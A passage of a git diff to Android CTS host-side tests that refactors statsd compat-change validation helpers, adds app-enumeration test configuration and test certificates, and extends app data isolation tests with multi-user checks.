+            resetCompatConfig(pkgName, enabledChanges, disabledChanges);
+            // Validate statsd report
+            validatePostRunStatsdReport(configId, pkgName, reportedEnabledChanges,
+                                        reportedDisabledChanges);
         }
 
-        // Validate statsd report
-        validatePostRunStatsdReport(reportedChanges, reportedEnabledChanges,
-            reportedDisabledChanges);
     }
 
     /**
@@ -218,7 +216,7 @@
      * @param pkgName  The package name of the app that is expected to report the atom. It will be
      *                 the only allowed log source.
      */
-    private void createAndUploadStatsdConfig(long configId, String pkgName)
+    protected void createAndUploadStatsdConfig(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final String atomName = "Atom" + System.nanoTime();
         final String eventName = "Event" + System.nanoTime();
@@ -253,6 +251,8 @@
         } catch (IOException e) {
             throw new RuntimeException("IO error when writing to temp file.", e);
         }
+        // Purge data
+        getReportList(configId);
     }
 
     /**
@@ -279,7 +279,7 @@
      * @param disabledChanges Changes to be disabled.
      * @param packageName     Package name for the app whose config is being changed.
      */
-    private void setCompatConfig(Set<Long> enabledChanges, Set<Long> disabledChanges,
+    protected void setCompatConfig(Set<Long> enabledChanges, Set<Long> disabledChanges,
             @Nonnull String packageName) throws DeviceNotAvailableException {
         for (Long enabledChange : enabledChanges) {
             runCommand("am compat enable " + enabledChange + " " + packageName);
@@ -292,7 +292,7 @@
     /**
      * Reset changes to default for a package.
      */
-    private void resetCompatChanges(Set<Long> changes, @Nonnull String packageName)
+    protected void resetCompatChanges(Set<Long> changes, @Nonnull String packageName)
             throws DeviceNotAvailableException {
         for (Long change : changes) {
             runCommand("am compat reset " + change + " " + packageName);
@@ -333,16 +333,41 @@
     }
 
     /**
-     * Validate that all overridden changes were logged while running the test.
+     * Cleanup the altered change ids under test.
+     *
+     * @param pkgName               Package name of the app under test.
+     * @param enabledChanges        Set of changes that were enabled during the test and need to be
+     *                              reset to the default value.
+     * @param disabledChanges       Set of changes that were disabled during the test and need to
+     *                              be reset to the default value.
      */
-    private void validatePostRunStatsdReport(Map<Long, Boolean> reportedChanges,
-            Set<Long> enabledChanges, Set<Long> disabledChanges)
+    protected void resetCompatConfig( String pkgName, Set<Long> enabledChanges,
+            Set<Long> disabledChanges) throws DeviceNotAvailableException {
+        // Clear overrides.
+        resetCompatChanges(enabledChanges, pkgName);
+        resetCompatChanges(disabledChanges, pkgName);
+    }
+
+    /**
+     * Validate that all overridden changes were logged while running the test.
+     *
+     * @param configId              The unique config id used to track change id queries.
+     * @param pkgName               Package name of the app under test.
+     * @param loggedEnabledChanges  Changes expected to be logged as enabled during the test.
+     * @param loggedDisabledChanges Changes expected to be logged as disabled during the test.
+     */
+    protected void validatePostRunStatsdReport(long configId, String pkgName,
+            Set<Long> loggedEnabledChanges, Set<Long> loggedDisabledChanges)
             throws DeviceNotAvailableException {
-        for (Long enabledChange : enabledChanges) {
+        // Clear statsd report data and remove config
+        Map<Long, Boolean> reportedChanges = getReportedChanges(configId, pkgName);
+        removeStatsdConfig(configId);
+
+        for (Long enabledChange : loggedEnabledChanges) {
             assertThat(reportedChanges)
                     .containsEntry(enabledChange, true);
         }
-        for (Long disabledChange : disabledChanges) {
+        for (Long disabledChange : loggedDisabledChanges) {
             assertThat(reportedChanges)
                     .containsEntry(disabledChange, false);
         }
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index 0f922102..57ee345 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsStrictJavaPackagesTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING b/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING
new file mode 100644
index 0000000..70dfc61
--- /dev/null
+++ b/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsStrictJavaPackagesTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index e73f31a..0610c44 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -67,6 +67,9 @@
      */
     private static final Set<String> BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST =
         ImmutableSet.of(
+            "Landroid/annotation/AnyThread;",
+            "Landroid/annotation/AppIdInt;",
+            "Landroid/annotation/CallSuper;",
             "Landroid/annotation/CallbackExecutor;",
             "Landroid/annotation/CheckResult;",
             "Landroid/annotation/CurrentTimeMillisLong;",
@@ -74,6 +77,7 @@
             "Landroid/annotation/IntDef;",
             "Landroid/annotation/IntRange;",
             "Landroid/annotation/LongDef;",
+            "Landroid/annotation/MainThread;",
             "Landroid/annotation/NonNull;",
             "Landroid/annotation/Nullable;",
             "Landroid/annotation/RequiresPermission;",
@@ -82,11 +86,13 @@
             "Landroid/annotation/SdkConstant;",
             "Landroid/annotation/SdkConstant$SdkConstantType;",
             "Landroid/annotation/StringDef;",
+            "Landroid/annotation/SuppressLint;",
             "Landroid/annotation/SystemApi;",
             "Landroid/annotation/SystemApi$Client;",
             "Landroid/annotation/SystemApi$Container;",
             "Landroid/annotation/SystemService;",
             "Landroid/annotation/TestApi;",
+            "Landroid/annotation/UserIdInt;",
             "Landroid/annotation/WorkerThread;",
             "Landroid/gsi/AvbPublicKey;",
             "Landroid/gsi/AvbPublicKey$1;",
diff --git a/hostsidetests/appenumeration/Android.bp b/hostsidetests/appenumeration/Android.bp
new file mode 100644
index 0000000..c6f46bc
--- /dev/null
+++ b/hostsidetests/appenumeration/Android.bp
@@ -0,0 +1,53 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsAppEnumerationHostTestCases",
+    defaults: ["cts_defaults"],
+
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "truth-prebuilt",
+        "CtsAppEnumerationTestLibHost",
+        "hamcrest-library",
+    ],
+
+    static_libs: [
+        "cts-host-utils",
+    ],
+
+    java_resource_dirs: ["res"],
+
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+
+    required: [
+        "CtsAppEnumerationTestCases",
+        "CtsAppEnumerationFilters",
+        "CtsAppEnumerationQueriesActivityViaAction",
+        "CtsAppEnumerationQueriesServiceViaAction",
+        "CtsAppEnumerationQueriesProviderViaAuthority",
+        "CtsAppEnumerationQueriesProviderViaAction",
+    ],
+}
diff --git a/hostsidetests/appenumeration/AndroidTest.xml b/hostsidetests/appenumeration/AndroidTest.xml
new file mode 100644
index 0000000..5e7c8b9
--- /dev/null
+++ b/hostsidetests/appenumeration/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for app enumeration CTS test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsAppEnumerationHostTestCases.jar" />
+        <option name="runtime-hint" value="20m" />
+    </test>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="force-queryable" value="false" />
+        <option name="test-file-name" value="CtsAppEnumerationTestCases.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesActivityViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesServiceViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesProviderViaAuthority.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesProviderViaAction.apk" />
+    </target_preparer>
+</configuration>
diff --git a/hostsidetests/appenumeration/OWNERS b/hostsidetests/appenumeration/OWNERS
new file mode 100644
index 0000000..8a44fb2
--- /dev/null
+++ b/hostsidetests/appenumeration/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
+rtmitchell@google.com
diff --git a/hostsidetests/appenumeration/src/android/appenumeration/cts/AppEnumerationHostsideTests.java b/hostsidetests/appenumeration/src/android/appenumeration/cts/AppEnumerationHostsideTests.java
new file mode 100644
index 0000000..22f104a
--- /dev/null
+++ b/hostsidetests/appenumeration/src/android/appenumeration/cts/AppEnumerationHostsideTests.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts;
+
+import static android.appenumeration.cts.Constants.TEST_PKG;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppEnumerationHostsideTests extends BaseHostJUnit4Test {
+
+    private static final String TEST_CLASS = "android.appenumeration.cts.AppEnumerationTests";
+
+    @Test
+    public void filtersVisibleAfterReboot() throws Exception {
+        assertMethod("Baseline, pre-boot filter-based visibility test should pass",
+                "queriesActivityAction_canSeeFilters");
+        getDevice().reboot();
+        assertMethod("Filter-based visibility test should pass after reboot",
+                "queriesActivityAction_canSeeFilters");
+    }
+
+    private void assertMethod(String message, String method)
+            throws DeviceNotAvailableException {
+        assertTrue(message,
+                runDeviceTests(TEST_PKG, TEST_CLASS, method));
+    }
+
+}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index b0626d4..c3948d4 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAppSecurityHostTestCases",
     defaults: ["cts_defaults"],
@@ -35,6 +31,7 @@
         "CompatChangeGatingTestBase",
         "CtsPkgInstallerConstants",
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
 
     java_resource_dirs: ["res"],
@@ -44,6 +41,7 @@
         "cts",
         "general-tests",
         "mts-documentsui",
+        "mts-mediaprovider",
         "sts",
     ],
 
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index d561b80..f438e7b 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -3,7 +3,7 @@
 per-file AccessSerialNumberTest.java = moltmann@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
-per-file AppDataIsolationTests.java = rickywai@google.com
+per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
 per-file AppOpsTest.java = moltmann@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = cbrubaker@google.com
@@ -11,6 +11,8 @@
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
 per-file EphemeralTest.java = toddke@google.com
+per-file ExternalStorageHostTest.java = nandana@google.com
+per-file ExternalStorageHostTest.java = zezeozue@google.com
 per-file InstantAppUserTest.java = toddke@google.com
 per-file InstantCookieHostTest.java = toddke@google.com
 per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
diff --git a/hostsidetests/appsecurity/certs/Android.bp b/hostsidetests/appsecurity/certs/Android.bp
index c0bf4a4..f856c5e 100644
--- a/hostsidetests/appsecurity/certs/Android.bp
+++ b/hostsidetests/appsecurity/certs/Android.bp
@@ -1,13 +1,3 @@
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 android_app_certificate {
     name: "cts-testkey1",
     certificate: "cts-testkey1",
diff --git a/hostsidetests/appsecurity/certs/keysets/Android.bp b/hostsidetests/appsecurity/certs/keysets/Android.bp
index 5edce4c..ad30099 100644
--- a/hostsidetests/appsecurity/certs/keysets/Android.bp
+++ b/hostsidetests/appsecurity/certs/keysets/Android.bp
@@ -1,13 +1,3 @@
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 android_app_certificate {
     name: "cts-keyset-test-a",
     certificate: "cts-keyset-test-a",
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default
new file mode 100644
index 0000000..bee71c0
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps
new file mode 100644
index 0000000..16ef196
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps
new file mode 100644
index 0000000..7326e46
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8 b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8
new file mode 100644
index 0000000..d7309dd
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem
new file mode 100644
index 0000000..c028ff7
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbjCCARWgAwIBAgIJAIOU9crRaomnMAoGCCqGSM49BAMCMBQxEjAQBgNVBAMM
+CWVjLXAyNTZfMjAeFw0xODA3MTQwMDA1MjZaFw0yODA3MTEwMDA1MjZaMBQxEjAQ
+BgNVBAMMCWVjLXAyNTZfMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABPMeYkMO
+nbb8WSjZdfxOR0GbrPyy4HyJKZ5s1+NE3SGt/TCNWMtJoaKj/srM7qSGIGnzC+Fk
+O8wlUEDYCJ37N0OjUDBOMB0GA1UdDgQWBBRvjQgosT769Xf8hrDpn6PlS8vP8DAf
+BgNVHSMEGDAWgBR5kdkrAgj8RIv1BtTvyf/0KMteXzAMBgNVHRMEBTADAQH/MAoG
+CCqGSM49BAMCA0cAMEQCICVr2qJ4TCc+TMKRpZWkZ3ne6d6QRNyferggMJVn35/p
+AiAaStjGmJG1qMR0NP6VQO0fSXm1+tNIPz+gTVZ3NVpXng==
+-----END CERTIFICATE-----
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8 b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8
new file mode 100644
index 0000000..3675d50
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem
new file mode 100644
index 0000000..4060400
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBezCCASCgAwIBAgIUbIy4qBhDPB5kMfsW+zrg+1rWCqcwCgYIKoZIzj0EAwIw
+FDESMBAGA1UEAwwJZWMtcDI1Nl8zMB4XDTIwMDUxMzE5MTUyOFoXDTMwMDUxMTE5
+MTUyOFowFDESMBAGA1UEAwwJZWMtcDI1Nl80MFkwEwYHKoZIzj0CAQYIKoZIzj0D
+AQcDQgAE20pgAx55rUnLdZAH1oVdRGm5HIurBlQ08vupca3n5NGVmaD2e15wjP2n
+VD5WMMN2nTfgk2QNfHaKFRRM0OXc9KNQME4wHQYDVR0OBBYEFG54lwMyVUM2tu6J
+JOqnAjDjk/Z4MB8GA1UdIwQYMBaAFG+NCCixPvr1d/yGsOmfo+VLy8/wMAwGA1Ud
+EwQFMAMBAf8wCgYIKoZIzj0EAwIDSQAwRgIhAM54bnnsdUdEYILpyvkQYU/4B1j5
+gZ+w8UhpUGer4PzUAiEApIgeMy3ewhFq0rWc+JHQ8zH/fifne3xiBseYjZtTkzA=
+-----END CERTIFICATE-----
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 80f4c3f..d1507df 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -90,7 +90,7 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithSplit()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -103,7 +103,7 @@
         verifyFsverityInstall(BASE_APK, SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithDm() throws DeviceNotAvailableException, FileNotFoundException {
         new InstallMultiple()
@@ -115,7 +115,7 @@
         verifyFsverityInstall(BASE_APK, BASE_APK_DM);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallEverything() throws DeviceNotAvailableException, FileNotFoundException {
         new InstallMultiple()
@@ -131,7 +131,7 @@
         verifyFsverityInstall(BASE_APK, BASE_APK_DM, SPLIT_APK, SPLIT_APK_DM);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnly()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -149,7 +149,7 @@
         verifyFsverityInstall(BASE_APK, SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnlyMissingSignature()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -165,7 +165,7 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnlyWithoutBaseSignature()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -181,7 +181,7 @@
         verifyFsverityInstall(SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallOnlyBaseHasFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -194,7 +194,7 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallOnlyDmHasFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -207,7 +207,7 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallOnlySplitHasFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
@@ -220,7 +220,7 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithFsvSigThenSplitWithout()
             throws DeviceNotAvailableException, FileNotFoundException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 3059821..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -18,10 +18,10 @@
 
 import static android.appsecurity.cts.Utils.waitForBootCompleted;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,11 +30,13 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
-import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Set of tests that verify app data isolation works.
  */
@@ -44,6 +46,7 @@
     private static final String APPA_APK = "CtsAppDataIsolationAppA.apk";
     private static final String APP_SHARED_A_APK = "CtsAppDataIsolationAppSharedA.apk";
     private static final String APP_DIRECT_BOOT_A_APK = "CtsAppDataIsolationAppDirectBootA.apk";
+    private static final String APP_API29_A_APK = "CtsAppDataIsolationAppApi29A.apk";
     private static final String APPA_PKG = "com.android.cts.appdataisolation.appa";
     private static final String APPA_CLASS =
             "com.android.cts.appdataisolation.appa.AppATests";
@@ -76,8 +79,6 @@
     private static final String FBE_MODE_NATIVE = "native";
     private static final String FBE_MODE_EMULATED = "emulated";
 
-    private static final String CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE =
-            "getprop persist.sys.vold_app_data_isolation_enabled";
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
     private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
     private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -92,6 +93,12 @@
             "testAppAExternalDirsDoExist";
     private static final String APPA_METHOD_CHECK_EXTERNAL_DIRS_UNAVAILABLE =
             "testAppAExternalDirsUnavailable";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT =
+            "testOtherUserDirsNotPresent";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE =
+            "testOtherUserDirsNotAccessible";
+
+    private int mOtherUser = -1;
 
     @Before
     public void setUp() throws Exception {
@@ -102,19 +109,13 @@
 
     @After
     public void tearDown() throws Exception {
+        if (mOtherUser != -1) {
+            getDevice().removeUser(mOtherUser);
+        }
         getDevice().uninstallPackage(APPA_PKG);
         getDevice().uninstallPackage(APPB_PKG);
     }
 
-    private void forceStopPackage(String packageName) throws Exception {
-        getDevice().executeShellCommand("am force-stop " + packageName);
-    }
-
-    private void reboot() throws Exception {
-        getDevice().reboot();
-        waitForBootCompleted(getDevice());
-    }
-
     @Test
     public void testAppAbleToAccessItsDataAfterForceStop() throws Exception {
         // Install AppA and verify no data stored
@@ -176,17 +177,6 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
     }
 
-    private boolean isFbeModeEmulated() throws Exception {
-        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (mode.equals(FBE_MODE_EMULATED)) {
-            return true;
-        } else if (mode.equals(FBE_MODE_NATIVE)) {
-            return false;
-        }
-        fail("Unknown FBE mode: " + mode);
-        return false;
-    }
-
     @Test
     public void testDirectBootModeWorks() throws Exception {
         if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
@@ -218,7 +208,14 @@
             // Setup screenlock
             getDevice().executeShellCommand("settings put global require_password_to_decrypt 0");
             getDevice().executeShellCommand("locksettings set-disabled false");
-            getDevice().executeShellCommand("locksettings set-pin 12345");
+            String response = getDevice().executeShellCommand("locksettings set-pin 12345");
+            if (!response.contains("12345")) {
+                // This seems to fail occasionally. Try again once, then give up.
+                Thread.sleep(500);
+                response = getDevice().executeShellCommand("locksettings set-pin 12345");
+                assumeTrue("Test requires setting a pin, which failed: " + response,
+                        response.contains("12345"));
+            }
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -336,13 +333,6 @@
         runDeviceTests(APPB_PKG, APPB_CLASS, APPB_METHOD_CAN_ACCESS_APPA_EXTERNAL_DIRS);
     }
 
-    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
-            throws DeviceNotAvailableException {
-        Assume.assumeThat(device.executeShellCommand(
-                CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE).trim(),
-                is("true"));
-    }
-
     @Test
     public void testIsolatedProcess() throws Exception {
         new InstallMultiple().addFile(APPA_APK).run();
@@ -356,4 +346,92 @@
         new InstallMultiple().addFile(APPB_APK).run();
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS);
     }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDir() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk > 29, directories related to other users are not visible at all.
+        new InstallMultiple().addFile(APPA_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDirApi29() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk <= 29, directories related to other users are visible but we cannot
+        // access anything within them.
+        new InstallMultiple().addFile(APP_API29_A_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    private void assumeCanCreateUser() throws DeviceNotAvailableException {
+        assumeTrue("Test requires multi-user support", mSupportsMultiUser);
+        // If we're already at the user limit, e.g. when running the test in a secondary user,
+        // then we can't create another one.
+        int currentUserCount = getDevice().listUsers().size();
+        assumeTrue("Test requires creating another user",
+                getDevice().getMaxNumberOfUsersSupported() > currentUserCount);
+    }
+
+    private void runDeviceTests(String pkgName, String testClassName, String testMethodName,
+            Map<String, String> instrumentationArgs) throws DeviceNotAvailableException {
